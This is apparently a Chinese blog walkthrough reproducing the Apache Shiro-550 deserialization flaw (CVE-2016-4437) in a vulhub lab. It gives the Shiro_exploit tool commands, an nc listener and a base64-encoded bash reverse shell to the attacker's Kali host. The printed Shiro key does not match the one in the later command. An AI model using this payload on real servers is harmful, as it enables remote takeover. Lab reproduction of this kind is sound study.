Shiro-550反序列化漏洞（CVE-2016-4437）复现

本文章使用Shiro_exploit此工具复现，靶机环境为vulhub

项目地址:

https://github.com/insightglacier/Shiro_exploit

https://github.com/vulhub/vulhub

1. 搭建环境

靶机 ip：192.168.171.10

Kali ip：192.168.171.21

进入vulnhub的 shiro/CVE-2016-4437 目录，输入 docker-compose up -d 环境就搭建好了。然后输入 docker ps 就看到ip和端口了。

在这里插入图片描述

浏览器访问正常：

在这里插入图片描述

2. 复现漏洞

执行命令：

python .\shiro_exploit.py -u http://192.168.171.10:8080
1

发现vulnerable:True证明存在漏洞，后面是Shiro Key：

PH+bIxk5D2deZiIxcaaaA==

在这里插入图片描述

Kali监听本地端口

nc -lvvp 1234
1

将反弹shell的bash命令base64编码：

bash -i >& /dev/tcp/192.168.171.21/1234 0>&1
1

==>

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4yMS8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}
1

在这里插入图片描述

运行脚本执行命令：

python shiro_exploit.py -u http://192.168.171.10:8080 -t 3 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4yMS8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}" -k "kPH+bIxk5D2deZiIxcaaaA=="
1

在这里插入图片描述

可以看到shell反弹成功：

在这里插入图片描述

相关阅读:
数据结构与算法3-数组
ip地址可以精确定位吗
Windows 文件共享
opencv之图像翻转、平移、缩放、旋转、仿射学习笔记
某保险企业容器云 PaaS 平台实践经验分享
Java毕业设计-二手车交易平台管理系统二手车交易管理系统二手汽车交易系统汽车销售系统汽车商城
线性代数之矩阵
运维监控背景信息
如何制作一份优秀的简历？
jQuery学习：onload和read区别（时间早晚监听个数）

原文地址：https://blog.csdn.net/weixin_49125123/article/details/125494888